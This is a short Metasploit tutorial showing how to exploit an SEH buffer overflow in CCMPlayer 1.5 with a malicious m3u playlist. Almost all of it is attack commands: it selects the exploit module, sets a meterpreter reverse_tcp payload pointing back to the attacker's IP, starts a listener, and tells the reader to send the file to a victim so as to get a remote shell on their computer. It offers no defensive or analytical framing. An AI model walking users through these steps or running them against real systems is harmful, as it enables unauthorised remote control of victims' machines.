This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening a m3u playlist with a long track name, a SEH exception record can be overwritten with parts of the controllable buffer. SEH execution is triggered after an invalid read of an injectible address, thus allowing arbitrary code execution. This module works on multiple Windows platforms including: Windows XP SP3, Windows Vista, and Windows 7.
Exploit Targets
CCMPlayer 1.5
Windows XP SP 2
Windows Vista
Windows 7
Requirement
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/fileformat/ccmplayer_m3u_bof
Msf exploit (ccmplayer_m3u_bof)>set payload windows/meterpreter/reverse_tcp
Msf exploit (ccmplayer_m3u_bof)>set lhost 192.168.1.2 (IP of Local Host)
Msf exploit (ccmplayer_m3u_bof)>exploit
After we successfully generate the malicious MP3 File, it will stored on your local computer
/root/.msf4/local/msf.m3u
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.2
exploit
Now send your msf.m3u files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.